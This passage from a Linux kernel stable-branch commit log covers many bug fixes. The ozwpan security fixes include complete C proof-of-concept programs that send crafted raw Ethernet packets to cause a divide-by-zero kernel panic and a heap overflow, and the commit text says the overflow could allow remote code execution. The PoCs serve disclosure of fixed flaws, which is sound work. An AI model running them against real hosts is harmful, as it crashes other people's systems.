#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jason A. Donenfeld [Fri, 29 May 2015 11:07:00 +0000 (13:07 +0200)]
ozwpan: divide-by-zero leading to panic
commit
04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Jason A. Donenfeld [Fri, 29 May 2015 11:06:58 +0000 (13:06 +0200)]
ozwpan: Use proper check to prevent heap overflow
commit
d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream.
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
James Hogan [Thu, 4 Jun 2015 12:25:27 +0000 (13:25 +0100)]
MIPS: Fix enabling of DEBUG_STACKOVERFLOW
commit
5f35b9cd553fd64415b563497d05a563c988dbd6 upstream.
Commit
334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added
kernel stack overflow detection, however it only enabled it conditional
upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never
actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW,
which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so
switch it to using that definition instead.
Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection")
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Adam Jiang <jiang.adam@gmail.com>
Cc: linux-mips@linux-mips.org
Patchwork: http://patchwork.linux-mips.org/patch/10531/
Signed-off-by: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Wang Long [Wed, 10 Jun 2015 08:12:37 +0000 (08:12 +0000)]
ring-buffer-benchmark: Fix the wrong sched_priority of producer
commit
108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream.
The producer should be used producer_fifo as its sched_priority,
so correct it.
Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com
Signed-off-by: Wang Long <long.wanglong@huawei.com>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Andy Lutomirski [Fri, 22 May 2015 23:15:47 +0000 (16:15 -0700)]
x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers
commit
425be5679fd292a3c36cb1fe423086708a99f11a upstream.
The early_idt_handlers asm code generates an array of entry
points spaced nine bytes apart. It's not really clear from that
code or from the places that reference it what's going on, and
the code only works in the first place because GAS never
generates two-byte JMP instructions when jumping to global
labels.
Clean up the code to generate the correct array stride (member size)
explicitly. This should be considerably more robust against
screw-ups, as GAS will warn if a .fill directive has a negative
count. Using '. =' to advance would have been even more robust
(it would generate an actual error if it tried to move
backwards), but it would pad with nulls, confusing anyone who
tries to disassemble the code. The new scheme should be much
clearer to future readers.
While we're at it, improve the comments and rename the array and
common code.
Binutils may start relaxing jumps to non-weak labels. If so,
this change will fix our build, and we may need to backport this
change.
Before, on x86_64:
0000000000000000 <early_idt_handlers>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 00 00 00 00 jmpq 9 <early_idt_handlers+0x9>
5: R_X86_64_PC32 early_idt_handler-0x4
...
48: 66 90 xchg %ax,%ax
4a: 6a 08 pushq $0x8
4c: e9 00 00 00 00 jmpq 51 <early_idt_handlers+0x51>
4d: R_X86_64_PC32 early_idt_handler-0x4
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: e9 00 00 00 00 jmpq 120 <early_idt_handler>
11c: R_X86_64_PC32 early_idt_handler-0x4
After:
0000000000000000 <early_idt_handler_array>:
0: 6a 00 pushq $0x0
2: 6a 00 pushq $0x0
4: e9 14 01 00 00 jmpq 11d <early_idt_handler_common>
...
48: 6a 08 pushq $0x8
4a: e9 d1 00 00 00 jmpq 120 <early_idt_handler_common>
4f: cc int3
50: cc int3
...
117: 6a 00 pushq $0x0
119: 6a 1f pushq $0x1f
11b: eb 03 jmp 120 <early_idt_handler_common>
11d: cc int3
11e: cc int3
11f: cc int3
Signed-off-by: Andy Lutomirski <luto@kernel.org>
Acked-by: H. Peter Anvin <hpa@linux.intel.com>
Cc: Binutils <binutils@sourceware.org>
Cc: Borislav Petkov <bp@alien8.de>
Cc: H.J. Lu <hjl.tools@gmail.com>
Cc: Jan Beulich <JBeulich@suse.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Peter Zijlstra <peterz@infradead.org>
Cc: Thomas Gleixner <tglx@linutronix.de>
Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org
Signed-off-by: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Patrick Riphagen [Tue, 19 May 2015 08:03:01 +0000 (10:03 +0200)]
USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board
commit
1df5b888f54070a373a73b34488cc78c2365b7b4 upstream.
This adds support for new Xsens device, Motion Tracker Development Board,
using Xsens' own Vendor ID
Signed-off-by: Patrick Riphagen <patrick.riphagen@xsens.com>
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
John D. Blair [Thu, 4 Jun 2015 20:18:19 +0000 (13:18 -0700)]
USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle
commit
df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream.
Added the USB serial device ID for the HubZ dual ZigBee
and Z-Wave radio dongle.
Signed-off-by: John D. Blair <johnb@candicontrols.com>
Signed-off-by: Johan Hovold <johan@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Dan Williams [Thu, 11 Jun 2015 03:47:14 +0000 (23:47 -0400)]
block: fix ext_dev_lock lockdep report
commit
4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream.
=================================
[ INFO: inconsistent lock state ]
4.1.0-rc7+ #217 Tainted: G O
---------------------------------
inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage.
swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes:
(ext_devt_lock){+.?...}, at: [<
ffffffff8143a60c>] blk_free_devt+0x3c/0x70
{SOFTIRQ-ON-W} state was registered at:
[<
ffffffff810bf6b1>] __lock_acquire+0x461/0x1e70
[<
ffffffff810c1947>] lock_acquire+0xb7/0x290
[<
ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
[<
ffffffff8143a07d>] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context
[..]
[<
ffffffff810bf64e>] __lock_acquire+0x3fe/0x1e70
[<
ffffffff810c00ad>] ? __lock_acquire+0xe5d/0x1e70
[<
ffffffff810c1947>] lock_acquire+0xb7/0x290
[<
ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
[<
ffffffff818ac3a8>] _raw_spin_lock+0x38/0x50
[<
ffffffff8143a60c>] ? blk_free_devt+0x3c/0x70
[<
ffffffff8143a60c>] blk_free_devt+0x3c/0x70 <-- take the lock in softirq
[<
ffffffff8143bfec>] part_release+0x1c/0x50
[<
ffffffff8158edf6>] device_release+0x36/0xb0
[<
ffffffff8145ac2b>] kobject_cleanup+0x7b/0x1a0
[<
ffffffff8145aad0>] kobject_put+0x30/0x70
[<
ffffffff8158f147>] put_device+0x17/0x20
[<
ffffffff8143c29c>] delete_partition_rcu_cb+0x16c/0x180
[<
ffffffff8143c130>] ? read_dev_sector+0xa0/0xa0
[<
ffffffff810e0e0f>] rcu_process_callbacks+0x2ff/0xa90
[<
ffffffff810e0dcf>] ? rcu_process_callbacks+0x2bf/0xa90
[<
ffffffff81067e2e>] __do_softirq+0xde/0x600
Neil sees this in his tests and it also triggers on pmem driver unbind
for the libnvdimm tests. This fix is on top of an initial fix by Keith
for incorrect usage of mutex_lock() in this path:
2da78092dda1 "block:
Fix dev_t minor allocation lifetime". Both this and
2da78092dda1 are
candidates for -stable.
Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime")
Cc: Keith Busch <keith.busch@intel.com>
Reported-by: NeilBrown <neilb@suse.de>
Signed-off-by: Dan Williams <dan.j.williams@intel.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Hans de Goede [Tue, 2 Jun 2015 17:40:50 +0000 (10:40 -0700)]
Input: elantech - fix detection of touchpads where the revision matches a known rate
commit
5f0ee9d17aae628b22be86966471db65be21f262 upstream.
Make the check to skip the rate check more lax, so that it applies
to all hw_version 4 models.
This fixes the touchpad not being detected properly on Asus PU551LA
laptops.
Reported-and-tested-by: David Zafra Gómez <dezeta@klo.es>
Signed-off-by: Hans de Goede <hdegoede@redhat.com>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Peter Hutterer [Mon, 8 Jun 2015 17:17:32 +0000 (10:17 -0700)]
Input: synaptics - add min/max quirk for Lenovo S540
commit
7f2ca8b55aeff1fe51ed3570200ef88a96060917 upstream.
https://bugzilla.redhat.com/show_bug.cgi?id=
1223051#c2
Tested-by: tommy.gagnes@gmail.com
Signed-off-by: Peter Hutterer <peter.hutterer@who-t.net>
Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Clemens Ladisch [Wed, 3 Jun 2015 09:36:42 +0000 (11:36 +0200)]
ALSA: usb-audio: add MAYA44 USB+ mixer control names
commit
044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream.
Add mixer control names for the ESI Maya44 USB+ (which appears to be
identical width the AudioTrak Maya44 USB).
Reported-by: nightmixes <nightmixes@gmail.com>
Signed-off-by: Clemens Ladisch <clemens@ladisch.de>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Wolfram Sang [Fri, 29 May 2015 10:50:56 +0000 (19:50 +0900)]
ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion
commit
1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream.
Fix this from the logs:
usb 7-1: New USB device found, idVendor=046d, idProduct=08ca
...
usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong.
usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1
Signed-off-by: Wolfram Sang <wsa@the-dreams.de>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Takashi Iwai [Tue, 2 Jun 2015 17:57:08 +0000 (19:57 +0200)]
ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420
commit
b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream.
Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to
make the sound working like other Aspire models.
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111
Signed-off-by: Takashi Iwai <tiwai@suse.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Laura Abbott [Thu, 14 May 2015 18:42:17 +0000 (11:42 -0700)]
n_tty: Fix auditing support for cannonical mode
commit
72586c6061ab8c23ffd9f301ed19782a44ff5f04 upstream.
Commit
32f13521ca68bc624ff6effc77f308a52b038bf0
("n_tty: Line copy to user buffer in canonical mode")
changed cannonical mode copying to use copy_to_user
but missed adding the call to the audit framework.
Add in the appropriate functions to get audit support.
Fixes: 32f13521ca68 ("n_tty: Line copy to user buffer in canonical mode")
Reported-by: Miloslav Trmač <mitr@redhat.com>
Signed-off-by: Laura Abbott <labbott@fedoraproject.org>
Reviewed-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Paul Cercueil [Fri, 15 May 2015 15:18:36 +0000 (17:18 +0200)]
iio: adis16400: Compute the scan mask from channel indices
commit
c2a8b623a089d52c199e305e7905829907db8ec8 upstream.
We unfortunately can't use ~0UL for the scan mask to indicate that the
only valid scan mask is all channels selected. The IIO core needs the exact
mask to work correctly and not a super-set of it. So calculate the masked
based on the channels that are available for a particular device.
Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Paul Cercueil [Fri, 15 May 2015 15:18:35 +0000 (17:18 +0200)]
iio: adis16400: Use != channel indices for the two voltage channels
commit
7323d59862802ca109451eeda9777024a7625509 upstream.
Previously, the two voltage channels had the same ID, which didn't cause
conflicts in sysfs only because one channel is named and the other isn't;
this is still violating the spec though, two indexed channels should never
have the same index.
Signed-off-by: Paul Cercueil <paul.cercueil@analog.com>
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Lars-Peter Clausen [Fri, 15 May 2015 15:18:34 +0000 (17:18 +0200)]
iio: adis16400: Report pressure channel scale
commit
69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.
Add the scale for the pressure channel, which is currently missing.
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Axel Lin [Wed, 20 May 2015 00:53:20 +0000 (08:53 +0800)]
iio: adc: twl6030-gpadc: Fix modalias
commit
e5d732186270e0881f47d95610316c0614b21c3e upstream.
Remove extra space between platform prefix and DRIVER_NAME in MODULE_ALIAS.
Signed-off-by: Axel Lin <axel.lin@ingics.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Nikolay Aleksandrov [Sat, 6 Jun 2015 13:49:00 +0000 (06:49 -0700)]
bridge: disable softirqs around br_fdb_update to avoid lockup
[ Upstream commit
c4c832f89dc468cf11dc0dd17206bace44526651 ]
br_fdb_update() can be called in process context in the following way:
br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set)
so we need to disable softirqs because there are softirq users of the
hash_lock. One easy way to reproduce this is to modify the bridge utility
to set NTF_USE, enable stp and then set maxageing to a low value so
br_fdb_cleanup() is called frequently and then just add new entries in
a loop. This happens because br_fdb_cleanup() is called from timer/softirq
context. The spin locks in br_fdb_update were _bh before commit
f8ae737deea1
("[BRIDGE]: forwarding remove unneeded preempt and bh diasables")
and at the time that commit was correct because br_fdb_update() couldn't be
called from process context, but that changed after commit:
292d1398983f ("bridge: add NTF_USE support")
Using local_bh_disable/enable around br_fdb_update() allows us to keep
using the spin_lock/unlock in br_fdb_update for the fast-path.
Signed-off-by: Nikolay Aleksandrov <nikolay@cumulusnetworks.com>
Fixes: 292d1398983f ("bridge: add NTF_USE support")
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Shawn Bohrer [Wed, 3 Jun 2015 21:27:38 +0000 (16:27 -0500)]
ipv4/udp: Verify multicast group is ours in upd_v4_early_demux()
[ Upstream commit
6e540309326188f769e03bb4c6dd8ff6752930c2 ]
421b3885bf6d56391297844f43fb7154a6396e12 "udp: ipv4: Add udp early
demux" introduced a regression that allowed sockets bound to INADDR_ANY
to receive packets from multicast groups that the socket had not joined.
For example a socket that had joined 224.168.2.9 could also receive
packets from 225.168.2.9 despite not having joined that group if
ip_early_demux is enabled.
Fix this by calling ip_check_mc_rcu() in udp_v4_early_demux() to verify
that the multicast packet is indeed ours.
Signed-off-by: Shawn Bohrer <sbohrer@rgmadvisors.com>
Reported-by: Yurij M. Plotnikov <Yurij.Plotnikov@oktetlabs.ru>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Ian Campbell [Mon, 1 Jun 2015 10:30:24 +0000 (11:30 +0100)]
xen: netback: read hotplug script once at start of day.
[ Upstream commit
31a418986a5852034d520a5bab546821ff1ccf3d ]
When we come to tear things down in netback_remove() and generate the
uevent it is possible that the xenstore directory has already been
removed (details below).
In such cases netback_uevent() won't be able to read the hotplug
script and will write a xenstore error node.
A recent change to the hypervisor exposed this race such that we now
sometimes lose it (where apparently we didn't ever before).
Instead read the hotplug script configuration during setup and use it
for the lifetime of the backend device.
The apparently more obvious fix of moving the transition to
state=Closed in netback_remove() to after the uevent does not work
because it is possible that we are already in state=Closed (in
reaction to the guest having disconnected as it shutdown). Being
already in Closed means the toolstack is at liberty to start tearing
down the xenstore directories. In principal it might be possible to
arrange to unregister the device sooner (e.g on transition to Closing)
such that xenstore would still be there but this state machine is
fragile and prone to anger...
A modern Xen system only relies on the hotplug uevent for driver
domains, when the backend is in the same domain as the toolstack it
will run the necessary setup/teardown directly in the correct sequence
wrt xenstore changes.
Signed-off-by: Ian Campbell <ian.campbell@citrix.com>
Acked-by: Wei Liu <wei.liu2@citrix.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
